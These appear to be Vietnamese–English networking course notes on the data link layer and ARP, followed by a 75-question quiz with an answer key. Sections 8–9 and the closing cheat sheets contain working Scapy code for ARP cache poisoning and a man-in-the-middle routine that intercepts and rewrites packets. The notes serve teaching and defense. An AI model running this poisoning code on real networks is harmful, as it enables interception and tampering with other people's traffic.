DATA LINK LAYER & ARP ATTACKS
1. DATA LINK LAYER CƠ BẢN
Chức năng
- Encapsulate datagram vào frame
- Add error checking, reliable transfer, flow control
- Hoạt động giữa 2 physically-connected interfaces (same subnet)
Layer Stack
Application
Transport
Network (IP datagram)
↓
Data Link (Frame: [Header | Datagram | Trailer])
↓
Physical (Bits)2. MAC ADDRESS
Đặc điểm
- 48-bit address (6 bytes)
- Ví dụ:
1A-2F-BB-76-09-AD(hexadecimal) - Burned in NIC ROM, có thể software settable
- Globally unique (IEEE quản lý allocation)
MAC vs IP
| Aspect | MAC Address | IP Address |
|---|---|---|
| Kiểu | Physical, flat | Logical, hierarchical |
| Tính di động | Portable (move LAN to LAN) | Not portable (phụ thuộc subnet) |
| Tương tự | Social Security Number | Postal Address |
| Scope | Local (same LAN) | Global (Internet-wide) |
| Length | 48 bits | 32 bits (IPv4) |
Broadcast Address
- FF-FF-FF-FF-FF-FF: Gửi đến tất cả devices trên LAN
3. ETHERNET FRAME
Cấu trúc (IEEE 802.3)
┌──────────┬────────────┬────────────┬──────┬─────┬─────┐
│ Preamble │ Dest MAC │ Source MAC │ Type │ Data│ FCS │
│ 8 bytes │ 6 bytes │ 6 bytes │2bytes│ │4byte│
└──────────┴────────────┴────────────┴──────┴─────┴─────┘Type field:
- 0x0800: IPv4
- 0x0806: ARP
- 0x86DD: IPv6
Wireshark Example
Destination: FF:FF:FF:FF:FF:FF (broadcast)
Source: 00:50:56:A8:1A:D3
Type: 0x0806 (ARP)4. MAC PRIVACY ISSUE
Vấn đề
- MAC address unique → có thể track user
- WiFi APs ghi nhớ MAC → trace location (malls, shops)
Giải pháp
- MAC randomization: iOS 8+, Android
- Software-generated random MAC khi probe APs
- Trade-off: Performance vs Privacy
5. ARP PROTOCOL
Mục đích
Map IP address → MAC address (trong cùng subnet)
ARP Cache (ARP Table)
IP Address MAC Address TTL
192.168.1.5 1A-2F-BB-76-09-AD 20 min
192.168.1.10 58-23-D7-FA-20-B0 18 minCommands:
arp -n # Show ARP cache
arp -d IP # Delete entry
arp -a # Show all entries6. ARP PROTOCOL WORKFLOW
Scenario: A muốn gửi packet cho B (cùng subnet)
Step 1: ARP Request (Broadcast)
A → Broadcast (FF:FF:FF:FF:FF:FF)
Ethernet Frame:
Dest MAC: FF:FF:FF:FF:FF:FF
Src MAC: A's MAC
Type: 0x0806 (ARP)
ARP Message:
Sender MAC: A's MAC
Sender IP: A's IP
Target MAC: 00:00:00:00:00:00 (unknown)
Target IP: B's IPStep 2: ARP Reply (Unicast)
B → A (A's MAC)
Ethernet Frame:
Dest MAC: A's MAC
Src MAC: B's MAC
Type: 0x0806
ARP Message:
Sender MAC: B's MAC
Sender IP: B's IP
Target MAC: A's MAC
Target IP: A's IPStep 3: A updates cache
A's ARP cache:
B's IP → B's MAC (TTL = 20 min)Step 4: A sends data
A → B
Dest MAC: B's MAC
Src MAC: A's MAC
Type: 0x0800 (IPv4)
IP: A → B
Data: ...7. ROUTING ACROSS SUBNETS
Scenario: A (subnet 1) → B (subnet 2) via Router R
A’s subnet: 111.111.111.0/24 B’s subnet: 222.222.222.0/24
Step-by-Step
1. A → R (first hop)
Frame:
Dest MAC: R's MAC (interface in A's subnet)
Src MAC: A's MAC
Datagram:
Src IP: A's IP (111.111.111.111)
Dest IP: B's IP (222.222.222.222)2. R receives & forwards
- R extracts datagram
- Routing decision: forward to B's subnet
- R creates new frame:
Frame:
Dest MAC: B's MAC
Src MAC: R's MAC (interface in B's subnet)
Datagram: (KHÔNG ĐỔI)
Src IP: A's IP
Dest IP: B's IP3. B receives
- B extracts datagram
- Pass to upper layersKey Point
- MAC addresses: Change at each hop (L2)
- IP addresses: Remain same end-to-end (L3)
8. ARP CACHE POISONING ATTACK
Đặc điểm ARP
- Stateless protocol: Không verify sender
- Update cache khi nhận:
- ARP Request
- ARP Reply
- ARP Gratuitous
Mục tiêu
Poison (làm độc) ARP cache của victim → redirect traffic
3 Loại Spoofed Messages
8.1 Spoofed ARP Request
# Scapy code
E = Ether(dst="00:50:56:a8:0e:77") # Victim MAC (unicast)
A = ARP(op=1, # Request
psrc="10.102.20.178", # Pretend IP (target)
hwsrc="aa:bb:cc:dd:ee:ff", # FAKE MAC
pdst="10.102.20.177") # Victim IP
sendp(E/A)Kết quả: Victim’s cache
10.102.20.178 → aa:bb:cc:dd:ee:ff (FAKE!)8.2 Spoofed ARP Reply
E = Ether(dst="00:50:56:a8:0e:77") # Victim MAC
A = ARP(op=2, # Reply
psrc="10.102.20.178", # Pretend IP
hwsrc="aa:bb:cc:dd:ee:ff", # FAKE MAC
pdst="10.102.20.177", # Victim IP
hwdst="00:50:56:a8:0e:77") # Victim MAC
sendp(E/A)Note: Reply/Gratuitous chỉ work nếu cache ĐÃ CÓ entry
Trick: Trigger victim gửi ARP request
# Send spoofed ICMP echo request
# Victim reply → cần biết attacker MAC → send ARP request
# → Attacker can poison với reply8.3 Spoofed ARP Gratuitous
# Gratuitous: psrc = pdst (announce own IP)
E = Ether(dst="ff:ff:ff:ff:ff:ff") # Broadcast
A = ARP(op=2, # Reply type
psrc="10.102.20.178", # Pretend IP
hwsrc="aa:bb:cc:dd:ee:ff", # FAKE MAC
pdst="10.102.20.178") # Same as psrc!
sendp(E/A)9. MAN-IN-THE-MIDDLE (MITM) ATTACK
Mục tiêu
Intercept & modify traffic giữa Alice và Bob
Điều kiện
- Attacker (M) phải cùng network với A và B
- ARP poisoning CHỈ hoạt động local (same LAN)
Attack Steps
Step 1: Poison cả 2 victims
A's cache: B's cache:
B's IP → M's MAC A's IP → M's MAC
(thay vì B's MAC) (thay vì A's MAC)Step 2: A gửi packet cho B
IP header: A's IP → B's IP (KHÔNG ĐỔI)
MAC: A's MAC → M's MAC (vì A's cache bị poison)Step 3: Packet arrives at M
M checks: Dest IP = B's IP (not M's IP)
Scenario 1: M configured as ROUTER
→ IP forwarding enabled
→ Forward packet to B
Scenario 2: M configured as HOST
→ IP forwarding disabled
→ DROP packet (vì dest IP ≠ M's IP)Solution: Raw Socket + Manual Forwarding
Disable IP forwarding:
sudo sysctl net.ipv4.ip_forward=0M’s code (Scapy):
def spoof_pkt(pkt):
# Intercept packet
if pkt[IP].src == A_IP and pkt[IP].dst == B_IP:
# Modify packet
newpkt = IP(pkt[IP])
del(newpkt.chksum) # Scapy recalculate
# Example: Replace content
if Raw in newpkt:
data = newpkt[Raw].load
newdata = data.replace(b'kevin', b'AAAAA')
newpkt[Raw].load = newdata
# Forward to B
send(newpkt)
# Similar for B → A direction
# Sniff và process
sniff(filter='...', prn=spoof_pkt)MITM trên Telnet
Đặc điểm Telnet:
- Mỗi keystroke = 1 TCP packet
- Server echo back
Attack: Replace mỗi character với ‘A’
if TCP in pkt and Raw in pkt:
payload = pkt[Raw].load
newpayload = re.sub(rb'[a-zA-Z]', b'A', payload)
newpkt[Raw].load = newpayload10. ARP POISONING LIMITATIONS
Critical Limitation
ARP chỉ hoạt động trong cùng LAN (Layer 2)
Câu hỏi kiểm tra hiểu biết
Scenario (Fiction):
“Russia hackers launched ARP cache poisoning attacks from Russia against White House network.”
Question: Có thể không?
Answer: ❌ KHÔNG THỂ
- ARP packets KHÔNG route qua Internet
- Chỉ hoạt động local network
- Attacker phải physically inside target network
Ý nghĩa
- ARP poisoning không phải remote attack
- Cần physical/VPN access vào target LAN
- Không đe dọa từ xa như các attacks khác
11. COUNTERMEASURES
11.1 Encryption (BEST)
Nguyên lý:
- Encrypt traffic (HTTPS, SSH, VPN)
- MITM có thể intercept nhưng không đọc/sửa được
- Chỉ có thể DoS (drop packets)
Ví dụ:
A → M → B
Without encryption:
M sees: "username=alice&password=123"
M can modify to: "username=alice&password=hacked"
With encryption:
M sees: "a8f3b2c9d1e5..."
M cannot decrypt or modify meaningfully11.2 Static ARP Entries
# Add static entry (không bị poison)
sudo arp -s 192.168.1.5 1A:2F:BB:76:09:AD
# Problem: Không scale, khó maintain11.3 ARP Monitoring Tools
- arpwatch: Monitor ARP cache changes
- XArp: Alert on suspicious ARP activity
- Snort: IDS rules cho ARP poisoning
11.4 Port Security (Switch)
# Cisco switch config
switchport port-security
switchport port-security mac-address [MAC]
switchport port-security violation shutdown- Bind MAC address to switch port
- Prevent MAC spoofing
11.5 Dynamic ARP Inspection (DAI)
- Switch verify ARP packets against DHCP snooping database
- Drop invalid ARP responses
12. SCAPY FIELDS REFERENCE
Ether() Fields
Ether(
dst="FF:FF:FF:FF:FF:FF", # Destination MAC
src="00:11:22:33:44:55", # Source MAC (auto if omit)
type=0x0806 # EtherType (auto if omit)
)ARP() Fields
ARP(
op=1, # Operation: 1=request, 2=reply
hwsrc="...", # Sender MAC
psrc="...", # Sender IP
hwdst="...", # Target MAC (00:00:00:00:00:00 for request)
pdst="..." # Target IP
)Sending
sendp(pkt) # Send at Layer 2 (include Ether)
send(pkt) # Send at Layer 3 (auto add Ether)
srp(pkt, timeout=2) # Send & receive Layer 213. PACKET FLOW IN OS
Normal Flow
Application → Socket → TCP/UDP → IP → Interface → WireSniffer với Raw Socket
┌─────────────┐
│ Application │
└──────┬──────┘
↓
┌─────────────┐
│ Raw Socket │ ← Sniffer opens this
└──────┬──────┘
↓
┌─────────┴─────────┐
↓ ↓
Normal stack Copy to sniffer
(IP, TCP, App) (before drop/process)Python Raw Socket:
import socket
# Create raw socket (need root)
s = socket.socket(socket.AF_PACKET,
socket.SOCK_RAW,
socket.ntohs(0x0003)) # ETH_P_ALL
# Receive frames
while True:
frame = s.recvfrom(65535)
# Process frameGHI NHỚ NHANH
MAC vs IP
MAC: Physical, flat, portable, 48-bit, local scope IP: Logical, hierarchical, not portable, 32-bit, global
ARP Workflow
Request (broadcast) → Reply (unicast) → Cache update
Frame vs Datagram
Frame: MAC header + IP datagram (L2) Datagram: IP header + TCP/UDP segment (L3)
Routing Hop
MAC thay đổi mỗi hop, IP không đổi end-to-end
ARP Poisoning
Stateless → Update cache bằng Request/Reply/Gratuitous Spoof MAC để redirect traffic
MITM Requirements
- Same LAN với victims
- Poison cả 2 victims’ caches
- Disable IP forwarding + manual forward với raw socket
ARP Limitation
CHỈ local LAN, KHÔNG remote attack
Best Countermeasure
ENCRYPTION (HTTPS, SSH, VPN)
Commands
arp -n # Show cache
arp -d IP # Delete entry
arp -s IP MAC # Static entry
ip neigh show # Modern Linux
tcpdump arp # Capture ARPScapy Template
# ARP Request
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
ARP(op=1, pdst="192.168.1.5"))
# ARP Reply (poison)
sendp(Ether(dst=victim_mac)/
ARP(op=2, psrc=target_ip,
hwsrc=fake_mac, pdst=victim_ip))DATA LINK LAYER & ARP ATTACKS - CÂU HỎI TRẮC NGHIỆM
PHẦN 1: DATA LINK LAYER CƠ BẢN
Câu 1: Data Link layer có chức năng gì?
A. Routing packets
B. Encapsulate datagram vào frame, add error checking
C. Chỉ mã hóa data
D. Chỉ forward packets
✅ Đáp án: B
Câu 2: Data Link layer hoạt động giữa các devices như thế nào?
A. Giữa bất kỳ 2 devices nào trên Internet
B. Giữa 2 physically-connected interfaces (same subnet)
C. Chỉ trong cùng tòa nhà
D. Chỉ wireless
✅ Đáp án: B
Câu 3: Frame là gì?
A. IP packet
B. Data Link layer encapsulation: [MAC header | Datagram | Trailer]
C. Application data
D. TCP segment
✅ Đáp án: B
PHẦN 2: MAC ADDRESS
Câu 4: MAC address có độ dài bao nhiêu?
A. 32 bits
B. 48 bits (6 bytes)
C. 64 bits
D. 128 bits
✅ Đáp án: B
Câu 5: MAC address được viết ở format nào?
A. Decimal
B. Binary
C. Hexadecimal (vd: 1A-2F-BB-76-09-AD)
D. Octal
✅ Đáp án: C
Câu 6: MAC address được quản lý bởi ai?
A. IANA
B. IEEE
C. ICANN
D. ISO
✅ Đáp án: B
Câu 7: MAC address tương tự gì?
A. Postal address
B. Social Security Number (unique identifier)
C. Phone number
D. Email address
✅ Đáp án: B
Câu 8: IP address tương tự gì?
A. Social Security Number
B. Postal address (thay đổi theo location)
C. MAC address
D. Hardware ID
✅ Đáp án: B
Câu 9: MAC address có portable (di động) không?
A. Không, phụ thuộc subnet
B. Có, có thể move interface từ LAN này sang LAN khác
C. Chỉ portable trong cùng building
D. Không bao giờ
✅ Đáp án: B
Câu 10: IP address có portable không?
A. Có, luôn luôn
B. Không, phụ thuộc subnet mà node attach
C. Chỉ IPv6
D. Chỉ private IP
✅ Đáp án: B
Câu 11: Broadcast MAC address là gì?
A. 00:00:00:00:00:00
B. FF:FF:FF:FF:FF:FF
C. 11:11:11:11:11:11
D. AA:AA:AA:AA:AA:AA
✅ Đáp án: B
Câu 12: MAC address được lưu ở đâu?
A. Chỉ trong OS
B. Burned in NIC ROM, có thể software settable
C. Chỉ trong RAM
D. Trên cloud
✅ Đáp án: B
PHẦN 3: ETHERNET FRAME
Câu 13: Ethernet frame gồm những phần chính nào?
A. Chỉ data
B. Preamble, Dest MAC, Src MAC, Type, Data, FCS
C. Chỉ IP header
D. Chỉ MAC addresses
✅ Đáp án: B
Câu 14: Type field = 0x0800 có nghĩa gì?
A. ARP
B. IPv4
C. IPv6
D. ICMP
✅ Đáp án: B
Câu 15: Type field = 0x0806 là protocol gì?
A. IPv4
B. ARP
C. ICMP
D. TCP
✅ Đáp án: B
Câu 16: Type field = 0x86DD là gì?
A. IPv4
B. ARP
C. IPv6
D. UDP
✅ Đáp án: C
Câu 17: FCS trong Ethernet frame dùng để làm gì?
A. Forward packets
B. Frame Check Sequence - error detection
C. Flow control
D. Fragmentation
✅ Đáp án: B
PHẦN 4: MAC PRIVACY
Câu 18: Vấn đề privacy với MAC address là gì?
A. Không có vấn đề
B. MAC unique → có thể track user location (malls, APs)
C. Chỉ vấn đề với IP
D. Không quan trọng
✅ Đáp án: B
Câu 19: Giải pháp cho MAC privacy issue?
A. Không có giải pháp
B. MAC randomization - software-generated random MAC
C. Tắt WiFi
D. Dùng VPN
✅ Đáp án: B
Câu 20: Trade-off của MAC randomization?
A. Cost vs Security
B. Performance vs Privacy
C. Speed vs Reliability
D. Không có trade-off
✅ Đáp án: B
PHẦN 5: ARP PROTOCOL
Câu 21: ARP viết tắt của gì?
A. Address Routing Protocol
B. Address Resolution Protocol
C. Automatic Routing Protocol
D. Advanced Resolution Protocol
✅ Đáp án: B
Câu 22: Mục đích của ARP?
A. Route packets giữa networks
B. Map IP address → MAC address (trong cùng subnet)
C. Encrypt data
D. DNS lookup
✅ Đáp án: B
Câu 23: ARP hoạt động ở layer nào?
A. Application layer
B. Transport layer
C. Between Network và Data Link layers
D. Physical layer
✅ Đáp án: C
Câu 24: ARP cache/table chứa gì?
A. Chỉ IP addresses
B. IP → MAC mappings với TTL
C. Chỉ MAC addresses
D. DNS records
✅ Đáp án: B
Câu 25: TTL trong ARP cache thường là bao lâu?
A. 5 minutes
B. 20 minutes (typical)
C. 1 hour
D. Permanent
✅ Đáp án: B
Câu 26: Command show ARP cache trên Linux?
A. ifconfig
B. arp -n
C. route -n
D. netstat -r
✅ Đáp án: B
Câu 27: Command delete ARP entry?
A. arp -a IP
B. arp -d IP
C. arp -s IP
D. arp -f IP
✅ Đáp án: B
PHẦN 6: ARP WORKFLOW
Câu 28: Khi A muốn gửi packet cho B (cùng subnet, chưa có cache), A gửi gì TRƯỚC?
A. Direct packet to B
B. ARP Request (broadcast) hỏi MAC của B
C. DNS query
D. ICMP ping
✅ Đáp án: B
Câu 29: ARP Request được gửi đến địa chỉ nào?
A. Unicast đến B
B. Broadcast FF:FF:FF:FF:FF:FF
C. Multicast
D. Anycast
✅ Đáp án: B
Câu 30: Ai reply cho ARP Request?
A. Tất cả devices
B. Chỉ device có IP được hỏi (B)
C. Router
D. DNS server
✅ Đáp án: B
Câu 31: ARP Reply được gửi kiểu gì?
A. Broadcast
B. Unicast đến requester
C. Multicast
D. Anycast
✅ Đáp án: B
Câu 32: Sau khi nhận ARP Reply, A làm gì?
A. Gửi packet ngay
B. Update ARP cache, rồi gửi packet
C. Hỏi lại
D. Không làm gì
✅ Đáp án: B
Câu 33: ARP Request chứa Target MAC là gì?
A. FF:FF:FF:FF:FF:FF
B. 00:00:00:00:00:00 (unknown)
C. Requester’s MAC
D. Router’s MAC
✅ Đáp án: B
PHẦN 7: ROUTING ACROSS SUBNETS
Câu 34: A (subnet 1) gửi packet cho B (subnet 2), frame đầu tiên gửi đến ai?
A. Trực tiếp đến B
B. Đến first-hop router R
C. Đến DNS server
D. Broadcast
✅ Đáp án: B
Câu 35: Trong frame A → R, destination MAC là gì?
A. B’s MAC
B. R’s MAC (interface trong A’s subnet)
C. Broadcast
D. A’s MAC
✅ Đáp án: B
Câu 36: Trong datagram bên trong frame A → R, destination IP là gì?
A. R’s IP
B. A’s IP
C. B’s IP (end-to-end, không đổi)
D. DNS server IP
✅ Đáp án: C
Câu 37: Khi routing qua nhiều hops, điều gì THAY ĐỔI?
A. Source và Destination IPs
B. MAC addresses (mỗi hop khác nhau)
C. TCP port numbers
D. Application data
✅ Đáp án: B
Câu 38: Khi routing qua nhiều hops, điều gì KHÔNG ĐỔI?
A. MAC addresses
B. TTL value
C. Source và Destination IPs (end-to-end)
D. Frame headers
✅ Đáp án: C
Câu 39: Router R forward packet sang subnet khác, R tạo frame mới với?
A. Dest MAC = B’s MAC, Src MAC = R’s MAC (interface B’s subnet)
B. Giữ nguyên frame cũ
C. Dest MAC = A’s MAC
D. Random MAC
✅ Đáp án: A
PHẦN 8: ARP CACHE POISONING
Câu 40: ARP là loại protocol gì?
A. Stateful protocol
B. Stateless protocol (không verify sender)
C. Connection-oriented
D. Encrypted protocol
✅ Đáp án: B
Câu 41: ARP cache được update khi nhận gì?
A. Chỉ ARP Reply
B. ARP Request, Reply, hoặc Gratuitous
C. Chỉ ARP Request
D. Không bao giờ update
✅ Đáp án: B
Câu 42: Mục tiêu của ARP Cache Poisoning?
A. Delete cache
B. Poison cache → redirect traffic đến attacker
C. Tăng tốc độ
D. Backup cache
✅ Đáp án: B
Câu 43: ARP Gratuitous là gì?
A. Request bình thường
B. ARP message với psrc = pdst (announce own IP)
C. Reply bình thường
D. Error message
✅ Đáp án: B
Câu 44: Spoofed ARP Request gửi đến địa chỉ nào?
A. Broadcast (hoặc unicast đến victim)
B. Chỉ router
C. DNS server
D. Gateway
✅ Đáp án: A
Câu 45: Trong spoofed ARP, hwsrc (sender MAC) là gì?
A. Real attacker MAC
B. FAKE MAC (attacker muốn victim nghĩ)
C. Victim MAC
D. Router MAC
✅ Đáp án: B
Câu 46: ARP Reply/Gratuitous chỉ work khi nào?
A. Luôn luôn work
B. Khi cache ĐÃ CÓ entry của target IP
C. Chỉ ban đêm
D. Không bao giờ work
✅ Đáp án: B
Câu 47: Trick để làm victim có cache entry?
A. Gửi DNS query
B. Trigger victim gửi ARP request (vd: spoofed ICMP echo)
C. Reboot victim
D. Không có cách
✅ Đáp án: B
Câu 48: Scapy ARP field “op” có giá trị nào?
A. 1 = Request, 2 = Reply
B. 0 = Request, 1 = Reply
C. True/False
D. Yes/No
✅ Đáp án: A
PHẦN 9: MAN-IN-THE-MIDDLE (MITM)
Câu 49: MITM attack với ARP cần điều kiện gì?
A. Remote access
B. Attacker CÙNG NETWORK (same LAN) với victims
C. Root access on victims
D. DNS server access
✅ Đáp án: B
Câu 50: MITM cần poison cache của ai?
A. Chỉ Alice
B. Chỉ Bob
C. Cả Alice VÀ Bob
D. Chỉ router
✅ Đáp án: C
Câu 51: Sau khi poison, A’s cache có gì?
A. B’s IP → B’s MAC
B. B’s IP → M’s MAC (attacker MAC)
C. M’s IP → M’s MAC
D. Không thay đổi
✅ Đáp án: B
Câu 52: Khi A gửi packet cho B (sau poison), MAC destination là gì?
A. B’s MAC
B. M’s MAC (vì A’s cache bị poison)
C. Router MAC
D. Broadcast
✅ Đáp án: B
Câu 53: Packet đến M, dest IP = B’s IP (not M’s), M configured as HOST sẽ làm gì?
A. Forward to B
B. DROP packet (vì dest IP ≠ M’s IP)
C. Reply error
D. Broadcast
✅ Đáp án: B
Câu 54: Để M forward manually, cần làm gì?
A. Enable IP forwarding
B. Disable IP forwarding + dùng raw socket + manual forward
C. Chỉ cần raw socket
D. Không cần làm gì
✅ Đáp án: B
Câu 55: Command disable IP forwarding?
A. sysctl net.ipv4.ip_forward=1
B. sysctl net.ipv4.ip_forward=0
C. iptables -F
D. route add
✅ Đáp án: B
Câu 56: Raw socket cho phép gì?
A. Chỉ send packets
B. Sniff packets TRƯỚC KHI kernel process/drop
C. Chỉ receive packets
D. Không làm gì
✅ Đáp án: B
Câu 57: Trong MITM code, tại sao phải delete checksum trước khi modify?
A. Không cần delete
B. Để Scapy tự recalculate checksum mới sau khi modify
C. Để tăng tốc độ
D. Để encrypt
✅ Đáp án: B
Câu 58: Telnet khác netcat như thế nào về packet sending?
A. Giống nhau
B. Telnet: mỗi keystroke = 1 packet, netcat: cả line = 1 packet
C. Telnet nhanh hơn
D. netcat an toàn hơn
✅ Đáp án: B
PHẦN 10: ARP LIMITATIONS
Câu 59: ARP hoạt động ở scope nào?
A. Global (Internet-wide)
B. Chỉ local LAN (Layer 2, same subnet)
C. Country-wide
D. ISP-wide
✅ Đáp án: B
Câu 60: ARP packets có route qua Internet không?
A. Có
B. KHÔNG - chỉ local LAN
C. Chỉ qua router
D. Tùy cấu hình
✅ Đáp án: B
Câu 61: Có thể launch ARP poisoning từ xa (remote) không?
A. Có, dễ dàng
B. KHÔNG - phải inside target network
C. Chỉ với VPN
D. Chỉ với root access
✅ Đáp án: B
Câu 62: “Russia hackers launch ARP attack from Russia against White House” - có thể không?
A. Có thể
B. KHÔNG THỂ - ARP chỉ local, không remote attack
C. Có thể với VPN
D. Có thể với proxy
✅ Đáp án: B
Câu 63: Ý nghĩa security của ARP limitation?
A. ARP rất nguy hiểm
B. ARP poisoning không phải remote threat, cần physical/VPN access
C. Không quan trọng
D. Chỉ ảnh hưởng WiFi
✅ Đáp án: B
PHẦN 11: COUNTERMEASURES
Câu 64: Countermeasure TỐT NHẤT chống MITM?
A. Firewall
B. Encryption (HTTPS, SSH, VPN)
C. Antivirus
D. Strong password
✅ Đáp án: B
Câu 65: Khi traffic được encrypt, MITM attacker có thể làm gì?
A. Đọc và modify được
B. Chỉ có thể DoS (drop packets), không đọc/modify
C. Bypass encryption
D. Decrypt dễ dàng
✅ Đáp án: B
Câu 66: Static ARP entries là gì?
A. Dynamic entries
B. Manually configured, không bị poison (nhưng khó maintain)
C. Automatic entries
D. Temporary entries
✅ Đáp án: B
Câu 67: Command add static ARP entry?
A. arp -d IP MAC
B. arp -s IP MAC
C. arp -n IP MAC
D. arp -a IP MAC
✅ Đáp án: B
Câu 68: arpwatch tool làm gì?
A. Generate ARP traffic
B. Monitor ARP cache changes, alert on suspicious
C. Block ARP
D. Encrypt ARP
✅ Đáp án: B
Câu 69: Dynamic ARP Inspection (DAI) hoạt động như thế nào?
A. Disable ARP
B. Switch verify ARP packets, drop invalid responses
C. Encrypt ARP
D. Speed up ARP
✅ Đáp án: B
Câu 70: Port Security trên switch làm gì?
A. Block all ports
B. Bind MAC address to switch port, prevent spoofing
C. Open all ports
D. Encrypt traffic
✅ Đáp án: B
PHẦN 12: SCAPY
Câu 71: Scapy sendp() khác send() như thế nào?
A. Giống nhau
B. sendp() = Layer 2 (include Ether), send() = Layer 3 (auto Ether)
C. sendp() nhanh hơn
D. send() an toàn hơn
✅ Đáp án: B
Câu 72: Scapy srp() dùng để làm gì?
A. Chỉ send
B. Send & receive packets ở Layer 2
C. Chỉ receive
D. Delete packets
✅ Đáp án: B
Câu 73: Khi stack Ether và ARP trong Scapy?
A. Ether + ARP
B. Ether / ARP
C. Ether, ARP
D. Ether & ARP
✅ Đáp án: B
- Operator
/để stack layers
Câu 74: Scapy ARP field psrc là gì?
A. Packet source
B. Protocol source = Sender IP
C. Port source
D. Physical source
✅ Đáp án: B
Câu 75: Scapy ARP field hwsrc là gì?
A. Hardware source = Sender MAC
B. Host source
C. HTTP source
D. Hash source
✅ Đáp án: A
GHI NHỚ QUAN TRỌNG
MAC vs IP
| Feature | MAC | IP |
|---|---|---|
| Type | Physical | Logical |
| Length | 48-bit | 32-bit |
| Portable | ✅ | ❌ |
| Scope | Local (L2) | Global (L3) |
| Analogy | SSN | Postal addr |
ARP Workflow
1. A → Broadcast: ARP Request (who has B's IP?)
2. B → A: ARP Reply (B's MAC)
3. A updates cache: B's IP → B's MAC
4. A → B: Data frameRouting Hop
- MAC: Thay đổi MỖI HOP
- IP: KHÔNG ĐỔI end-to-end
ARP Poisoning
- Stateless → Update cache dễ dàng
- 3 types: Request, Reply, Gratuitous
- Spoof hwsrc để redirect
MITM Requirements
- Same LAN với victims
- Poison CẢ HAI caches
- Raw socket + manual forward
ARP Limitation
CHỈ LOCAL LAN, KHÔNG REMOTE
Best Countermeasure
ENCRYPTION (HTTPS/SSH/VPN)
Commands
arp -n # Show cache
arp -d IP # Delete
arp -s IP MAC # Static entry
ip neigh show # Modern Linux
tcpdump arp # Capture ARPScapy
# ARP Request
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
ARP(op=1, pdst="192.168.1.5"))
# Poison (Reply)
sendp(Ether(dst=victim_mac)/
ARP(op=2, psrc=target_ip,
hwsrc=fake_mac, pdst=victim_ip))
# Gratuitous
sendp(Ether(dst="ff:ff:ff:ff:ff:ff")/
ARP(op=2, psrc=own_ip, pdst=own_ip))